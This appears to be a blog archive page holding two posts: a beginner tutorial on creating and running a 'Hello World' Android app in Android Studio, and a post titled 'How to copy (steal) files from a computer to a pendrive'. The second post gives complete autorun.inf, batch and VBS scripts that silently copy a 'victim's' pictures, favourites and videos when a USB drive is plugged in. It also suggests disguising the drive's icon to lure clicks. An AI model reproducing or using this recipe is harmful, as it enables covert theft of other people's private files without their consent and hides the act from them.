Archive for the ‘programming’ Category

How to create an Android app with Android Studio

Posted: December 19, 2018 in android, programming
4

This lesson shows you how to create a new Android project with Android Studio and describes some of the files in the project.

The following pages teach you how to build a simple Android app. You’ll learn how to create a “Hello World” project with Android Studio and run it.

First, be sure you have installed the latest version of Android Studio. Download Android Studio here.

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  1. In the Welcome to Android Studio window, click Start a new Android Studio project. Or if you have a project opened, select File > New Project.
  2. In the Create New Project window, enter the following values:
    • Application Name: “My First App”
    • Company Domain: “example.com”
    You might want to change the project location. Also, if you want to write a Kotlin app, check the Include Kotlin support checkbox. Leave the other options as they are.
  3. Click Next.
  4. In the Target Android Devices screen, keep the default values and click Next.
  5. In the Add, an Activity to Mobile screen, select Empty Activity and click Next.
  6. In the Configure Activity screen, keep the default values and click Finish.

After some processing, Android Studio opens the IDE.

Now take a moment to review the most important files.

First, be sure the Project window is open (select View > Tool Windows > Project) and the Android view is selected from the drop-down list at the top of that window. You can then see the following files: app > java > com.example.myfirstapp > MainActivityThis is the main activity (the entry point for your app). When you build and run the app, the system launches an instance of this Activity and loads its layout.app > res > layout > activity_main.xmlThis XML file defines the layout for the activity’s UI. It contains a TextView element with the text “Hello world!”.app > manifests > AndroidManifest.xmlThe manifest file describes the fundamental characteristics of the app and defines each of its components.Gradle Scripts > build.gradleYou’ll see two files with this name: one for the project and one for the “app” module. Each module has its own build.gradle file, but this project currently has just one module. You’ll mostly work with the module’s build.gradle file to configure how the Gradle tools compile and build your app.

Run on a real device

Set up your device as follows:

  1. Connect your device to your development machine with a USB cable. If you’re developing on Windows, you might need to install the appropriate USB driver for your device.
  2. Enable USB debugging in the Developer options as follows.First, you must enable the developer options:
    1. Open the Settings app.
    2. (Only on Android 8.0 or higher) Select System.
    3. Scroll to the bottom and select About phone.
    4. Scroll to the bottom and tap Build number 7 times.
    5. Return to the previous screen to find Developer options near the bottom.
    Open Developer options, and then scroll down to find and enable USB debugging.

Run the app on your device as follows:

  1. In Android Studio, click the app module in the Project window and then select Run > Run (or click Run  in the toolbar).
  2. In the Select Deployment Target window, select your device, and click OK.

Android Studio installs the app on your connected device and starts it. You should now see “Hello World!” displayed in the app running on your device.

Run on an emulator

Run the app on an emulator as follows:

  1. In Android Studio, click the app module in the Project window and then select Run > Run (or click Run in the toolbar).
  2. In the Select Deployment Target window, click Create New Virtual Device.
  3. In the Select Hardware screen, select a phone device, such as Pixel, and then click Next.
  4. In the System Image screen, select the version with the highest API level. If you don’t have that version installed, a Download link is shown, so click that and complete the download.
  5. Click Next.
  6. On the Android Virtual Device (AVD) screen, leave all the settings alone and click Finish.
  7. Back in the Select Deployment Target dialog, select the device you just created and click OK.

Android Studio installs the app on the emulator and starts it. You should now see “Hello World!” displayed in the app running on the emulator.

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Posted by Shubham ;)

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How to copy (steal) files from a computer to a pendrive

Posted: January 23, 2017 in hacking, programming, virus, win tricks
56

hello guys, have u ever want something from your friend pc, that he is not giving you like games, movies, important files etc.here I come with cool tricks just plug your USB Flash drive into his PC to automatically copy his files to your pen drive, secretly and silently. Copy the files you brought to his PC to complete the act.

Sneaky, isn’t it? So let us prepare such a sinister USB Flash drive.

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STEP 1
Open Notepad (I recommend Notepad++) and copy-paste the following lines.

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

Image result for hacking pendrive

STEP 2
Open Notepad again and copy-paste the following lines

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls
Save this as file.bat

This file is configured to copy the contents of the current user’s pictures, favourites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

The first file path “%USERPROFILE%\pictures” – is the target.
The second file path “%drive%\all\My pics” – is the destination.

STEP 3
Open Notepad once again and copy-paste the following line.

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False
Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

STEP 4
Open Notepad one last time and copy-paste the following line.

wscript.exe \invisible.vbs file.bat
Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

STEP 5
Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also, create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

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Posted by Shubham ;)

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